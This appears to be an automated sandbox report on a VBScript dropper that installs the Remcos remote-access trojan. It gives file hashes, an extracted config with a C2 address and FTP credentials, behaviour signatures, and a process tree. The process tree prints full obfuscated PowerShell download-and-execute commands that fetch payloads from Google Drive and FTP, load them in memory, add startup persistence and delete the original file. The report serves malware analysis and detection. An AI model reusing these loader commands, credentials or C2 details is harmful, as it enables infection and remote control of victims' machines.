Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-09-2024 14:23

General

  • Target

    f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs

  • Size

    681KB

  • MD5

    63f4f98d6d8d123b77a55dc189e5990b

  • SHA1

    5f3245ec3534dda85a10f2fd21a2bf4b64ed5eaa

  • SHA256

    f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156

  • SHA512

    c1bb776d2b4cd8b176025d3911c2981d0794a056d2cb64e6a8a8df4a913bfb87dfe0585db4b74fac897e8fabbe30164c2ad5d1eae84f291ac703a8bfe16bfc79

  • SSDEEP

    1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222I:7LeP6H07x/e

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Extracted

Family

remcos

Botnet

RemoteHost

C2

212.162.149.163:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    1210

  • mouse_option

    false

  • mutex

    Rmc-9HC4UH

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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革SQЌз革tЌз革HkЌз革cЌз革BvЌз革EMЌз革IЌз革Ќз革7Ќз革CЌз革Ќз革dЌз革ByЌз革GEЌз革dЌз革BzЌз革GUЌз革cgBvЌз革G4Ќз革LwЌз革gЌз革HQЌз革ZQBpЌз革HUЌз革cQЌз革vЌз革CЌз革Ќз革UQBBЌз革GoЌз革egBJЌз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBhЌз革HMЌз革dQB3Ќз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBsЌз革GwЌз革ZQBoЌз革HMЌз革cgBlЌз革HcЌз革bwBwЌз革CЌз革Ќз革OwЌз革pЌз革CcЌз革dQBzЌз革G0Ќз革LgBuЌз革GkЌз革dwBwЌз革FUЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革GQЌз革SQBSЌз革GkЌз革TQЌз革kЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革UQBBЌз革GoЌз革egBJЌз革DsЌз革KQЌз革gЌз革GUЌз革bQBhЌз革E4Ќз革cgBlЌз革HMЌз革VQЌз革6Ќз革DoЌз革XQB0Ќз革G4Ќз革ZQBtЌз革G4Ќз革bwByЌз革GkЌз革dgBuЌз革EUЌз革WwЌз革gЌз革CsЌз革IЌз革Ќз革nЌз革FwЌз革cwByЌз革GUЌз革cwBVЌз革FwЌз革OgBDЌз革CcЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BGЌз革EcЌз革cgBVЌз革EEЌз革JЌз革Ќз革7Ќз革CkЌз革JwB1Ќз革HMЌз革bQЌз革uЌз革G4Ќз革aQB3Ќз革HЌз革Ќз革VQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革ZЌз革BJЌз革FIЌз革aQBNЌз革CQЌз革IЌз革Ќз革sЌз革EIЌз革SwBMЌз革FIЌз革VQЌз革kЌз革CgЌз革ZQBsЌз革GkЌз革RgBkЌз革GEЌз革bwBsЌз革G4Ќз革dwBvЌз革EQЌз革LgBpЌз革E0Ќз革bwBhЌз革EkЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革aQBNЌз革G8Ќз革YQBJЌз革CQЌз革OwЌз革pЌз革HQЌз革bgBlЌз革GkЌз革bЌз革BDЌз革GIЌз革ZQBXЌз革C4Ќз革dЌз革BlЌз革E4Ќз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革TwЌз革tЌз革HcЌз革ZQBOЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革aQBNЌз革G8Ќз革YQBJЌз革CQЌз革OwB9Ќз革DsЌз革IЌз革Ќз革pЌз革CcЌз革dЌз革BPЌз革EwЌз革YwBfЌз革EsЌз革YQЌз革zЌз革FoЌз革ZgBvЌз革FgЌз革MgBKЌз革EoЌз革cgBWЌз革GgЌз革bQBWЌз革DkЌз革YwBtЌз革DkЌз革WЌз革BzЌз革HUЌз革WЌз革BtЌз革GoЌз革MQBnЌз革DEЌз革JwЌз革gЌз革CsЌз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JЌз革Ќз革oЌз革CЌз革Ќз革PQЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革HsЌз革IЌз革BlЌз革HMЌз革bЌз革BlЌз革H0Ќз革OwЌз革gЌз革CkЌз革JwЌз革yЌз革DQЌз革dQBYЌз革EoЌз革VЌз革BxЌз革GEЌз革bQBnЌз革HkЌз革TQB0Ќз革EYЌз革egBhЌз革GsЌз革UЌз革BSЌз革DEЌз革cQBfЌз革EkЌз革dgBHЌз革GkЌз革WЌз革BOЌз革GQЌз革cQBhЌз革E4Ќз革MQЌз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革CgAIAA9ACAARgBhAEUAWQBSACQAewAgACkAIABXAGkAaQBCAHMAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAFcAaQBpAEIAcwAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABGAGEARQBZAFIAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABkAEkAUgBpAE0AJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAAZABJAFIAaQBNACQAewAgACkAIABhAEoAbgBVAGkAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABhAEoAbgBVAGkAJAAgADsA';$txJSA = $qKKzc.replace('Ќз革' , 'A') ;$oXODH = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $txJSA ) ); $oXODH = $oXODH[-1..-$oXODH.Length] -join '';$oXODH = $oXODH.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs');powershell $oXODH
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3280
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $iUnJa = $host.Version.Major.Equals(2) ;if ( $iUnJa ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$IaoMi = (New-Object Net.WebClient);$IaoMi.Encoding = [System.Text.Encoding]::UTF8;$IaoMi.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$wkxv = (New-Object Net.WebClient);$wkxv.Encoding = [System.Text.Encoding]::UTF8;$wkxv.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $wkxv.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$wkxv.dispose();$wkxv = (New-Object Net.WebClient);$wkxv.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $wkxv.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs';[Byte[]] $wvuSF = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $wvuSF ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.rz/moc.sweiversecivreslautrive//:sptth' , $hzwje , 'true' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3680
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
          4⤵
            PID:4256
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
            4⤵
            • Adds Run key to start application
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\lfrmf.ps1"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:800
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:4776
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\f5afa028952cc301041f1c0911e1ef24e4bd5100f733252e045640e7b6d5c156.vbs"
            4⤵
              PID:4500

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\1210\logs.dat

        Filesize

        144B

        MD5

        d2a344952e77b077b2a2dbef1b74ae21

        SHA1

        d42eb42c8d187bad5d56bf0bc76a4d53c2eb97c8

        SHA256

        e8befd7d792fdc5b92276fcb343356014b6bfc4e7bea60ceebe9bae370294d9a

        SHA512

        5dadf1a89afaf0ccddea9a9d9029d8752a7729f8efb0f168bf1a03bfb03332d9d4173f8dccd238c4878d51ecd4c778a3374976b6b5628f93c9546826b74b46e8

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\lfrmf.ps1

        Filesize

        1.7MB

        MD5

        ad31ba7fe6a1cedafb1f4afcddafbdbe

        SHA1

        4666d3611fb9ae6b0a53429af7fc17bef13d62d9

        SHA256

        d9de0f2b58bc7e576135ebd8a734833006a2bd8c049e260735746cf15e8da554

        SHA512

        541d0517386f522d85946e6b8e47abb5e1fa697f66e439145eda9c4242d577e76031cb7fda0fba8596e15fcf98ba48a0d0140fae28a22353e78990036cb7e32d

      • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

        Filesize

        334B

        MD5

        b9e5810153d63fd33d68abc8da73fc04

        SHA1

        f5874cc63ce8197f85211d01591c512711325faa

        SHA256

        279e9638e93f691ca49d937be0436764dbfcb456e861b0a985d6fea1c76c0759

        SHA512

        35a36a11253630abb741cece676e812b9fae380503a5fc67de8c113597b70b0b41f83b2cc8795db968c6729055167d486aa29a69e9b4633a8ebd40005d6fc47b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7d5d8cf9f65ce79e552409c240295219

        SHA1

        ec5e938110638dcd176ce0645682a0d3949dd5a8

        SHA256

        817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596

        SHA512

        0d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        083782a87bd50ffc86d70cbc6f04e275

        SHA1

        0c11bc2b2c2cf33b17fff5e441881131ac1bee31

        SHA256

        7a54dcc99ebfb850afde560857e2d1f764a53ff09efd03222f56ab547539798f

        SHA512

        a7e56293e07acce20e69dceb13282e5d1eed2ef972a4c9cf1fb4f973b4b7d6a9ca8714fc547ab662842205383891372a2386fc3a12af3d7e4ef6a195f8a2bf02

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izj2d5ai.xqh.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/800-57-0x000001B8C6FD0000-0x000001B8C6FDA000-memory.dmp

        Filesize

        40KB

      • memory/3280-12-0x00007FF9629F0000-0x00007FF9634B1000-memory.dmp

        Filesize

        10.8MB

      • memory/3280-0-0x00007FF9629F3000-0x00007FF9629F5000-memory.dmp

        Filesize

        8KB

      • memory/3280-36-0x00007FF9629F3000-0x00007FF9629F5000-memory.dmp

        Filesize

        8KB

      • memory/3280-11-0x00007FF9629F0000-0x00007FF9634B1000-memory.dmp

        Filesize

        10.8MB

      • memory/3280-45-0x00007FF9629F0000-0x00007FF9634B1000-memory.dmp

        Filesize

        10.8MB

      • memory/3280-1-0x00000229FF680000-0x00000229FF6A2000-memory.dmp

        Filesize

        136KB

      • memory/3680-22-0x0000028AADA60000-0x0000028AADA6A000-memory.dmp

        Filesize

        40KB

      • memory/4776-62-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-79-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-63-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-66-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-67-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-72-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-73-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-58-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-78-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-60-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-84-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-86-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-91-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-92-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-97-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-98-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-104-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/4776-105-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB